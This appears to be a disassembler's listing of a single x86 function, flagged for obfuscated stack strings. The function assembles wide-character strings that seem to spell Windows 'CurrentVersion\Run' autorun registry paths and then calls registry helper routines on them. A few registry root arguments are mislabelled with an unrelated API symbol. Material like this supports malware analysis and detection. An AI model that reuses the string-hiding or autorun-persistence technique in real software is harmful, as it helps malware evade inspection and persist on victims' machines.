Function at 0x402120
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xb44
mov eax, dword [0x447004]
xor eax, esp
mov dword [esp + 0xb40], eax
push ebx
push ebp
push esi
push edi
push 0x208
lea eax, [esp + 0x12c]
push 0
push eax
call fcn.0040b160
mov edx, 0x53
mov dword [esp + 0x52], 0x530052
mov word [esp + 0x40], dx
mov ecx, 0x70
mov word [esp + 0x56], cx
mov eax, 0x64
mov ecx, 0x61
mov dword [esp + 0x58], 0x650065
lea esi, [edx - 1]
mov dword [esp + 0x42], 0x46004f
mov edx, 0x54
mov word [esp + 0x4c], si
mov word [esp + 0x46], dx
lea ebx, [esi + 0x21]
mov edx, 0x5c
mov dword [esp + 0x48], 0x410057
mov word [esp + 0x7c], dx
mov esi, 0x66
mov edx, 0x6e
mov dword [esp + 0x66], 0x62
mov word [esp + 0x96], dx
mov edi, 0x72
mov edx, 0x63
mov dword [esp + 0x4e], 0x5c0045
mov word [esp + 0x82], dx
mov edx, 0x6e
mov dword [esp + 0x5e], 0x700075
mov dword [esp + 0x62], 0x610054
mov word [esp + 0x5c], ax
mov dword [esp + 0x38], 0x650074
mov dword [esp + 0x30], 0x6d006f
mov dword [esp + 0x28], 0x6e0075
mov dword [esp + 0x20], 0x630069
mov dword [esp + 0x2c], 0x430065
mov dword [esp + 0x1c], 0x750051
mov dword [esp + 0x34], 0x750070
mov dword [esp + 0x3c], 0x72
mov dword [esp + 0x24], 0x54006b
mov dword [esp + 0xa8], 0x650072
mov dword [esp + 0xc4], 0x6e
mov dword [esp + 0x8e], 0x5c0074
mov dword [esp + 0x98], 0x6f0064
mov dword [esp + 0xc0], 0x750052
mov dword [esp + 0x7e], 0x69004d
mov dword [esp + 0x6c], 0x6f0053
mov dword [esp + 0x88], 0x6f0073
mov dword [esp + 0xb2], 0x720065
mov dword [esp + 0xa0], 0x43005c
mov dword [esp + 0xae], 0x560074
mov dword [esp + 0x92], 0x690057
mov dword [esp + 0x72], 0x770074
mov word [esp + 0x70], si
mov dword [esp + 0x9c], 0x730077
mov dword [esp + 0x78], 0x650072
mov dword [esp + 0x84], 0x6f0072
mov dword [esp + 0xbc], 0x5c006e
mov dword [esp + 0xb8], 0x6f0069
mov dword [esp + 0xa4], 0x720075
mov word [esp + 0xac], dx
mov word [esp + 0xb6], bx
mov word [esp + 0x76], cx
mov word [esp + 0x8c], si
mov dword [esp + 0x118], 0x5c006e
mov dword [esp + 0xe4], 0x6f0073
mov word [esp + 0xd4], di
mov dword [esp + 0xc8], 0x6f0053
mov dword [esp + 0xda], 0x69004d
mov dword [esp + 0x112], 0x690073
mov dword [esp + 0x11e], 0x69006e
mov dword [esp + 0xfe], 0x750043
mov dword [esp + 0x12e], 0x5c
mov dword [esp + 0x128], 0x6c0061
mov eax, 0x6f
mov dword [esp + 0x102], 0x720072
mov word [esp + 0x116], ax
mov ebp, edi
mov eax, 0x74
mov dword [esp + 0xf0], 0x6e0069
mov word [esp + 0x10a], ax
mov eax, 0x57
mov word [esp + 0xee], ax
mov eax, 0x63
mov word [esp + 0xde], ax
mov eax, 0x6c
mov word [esp + 0x12c], ax
mov eax, 0x55
mov word [esp + 0x11c], ax
mov eax, 0x64
mov word [esp + 0xf4], ax
mov eax, 0x74
mov word [esp + 0x126], ax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0xcc]
mov dword [esp + 0xfa], 0x77006f
push eax
push str._s_s
push 0xffffffffffffffff
lea eax, [esp + 0x144]
mov dword [esp + 0xfa], 0x5c0074
push 0x104
push eax
mov dword [esp + 0x11e], 0x6e0065
mov dword [esp + 0x124], 0x650056
mov dword [esp + 0xf8], 0x6f0072
mov dword [esp + 0xe4], 0x740066
mov dword [esp + 0x13a], 0x73006e
mov dword [esp + 0x112], 0x5c0073
mov word [esp + 0x128], bp
mov word [esp + 0x100], si
mov dword [esp + 0xee], 0x5c0065
mov dword [esp + 0xe8], 0x610077
call fcn.00407420
lea eax, [esp + 0x34]
mov ecx, 0x80000001
push eax
lea edx, [esp + 0x88]
call fcn.004053c0
push 0xffffffffffffffff
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x360]
push 0x208
push eax
call fcn.0041cbbd
lea edx, [esp + 0x368]
mov ecx, 0x80000001
call fcn.00405460
push 0xffffffffffffffff
lea eax, [esp + 0x164]
push eax
lea eax, [esp + 0x370]
push 0x208
push eax
call fcn.0041cbbd
add esp, 0x48
lea edx, [esp + 0x330]
mov ecx, 0x80000001
call fcn.00405460
lea eax, [esp + 0x10]
mov ecx, SHDefExtractIconW
push eax
lea edx, [esp + 0x64]
call fcn.004053c0
push 0xffffffffffffffff
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x33c]
push 0x208
push eax
call fcn.0041cbbd
lea edx, [esp + 0x344]
mov ecx, SHDefExtractIconW
call fcn.00405460
push 0xffffffffffffffff
lea eax, [esp + 0x140]
push eax
lea eax, [esp + 0x75c]
push 0x208
push eax
call fcn.0041cbbd
add esp, 0x24
lea edx, [esp + 0x740]
mov ecx, SHDefExtractIconW
call fcn.00405460
mov ecx, dword [esp + 0xb50]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00409353
add esp, 0xb44
ret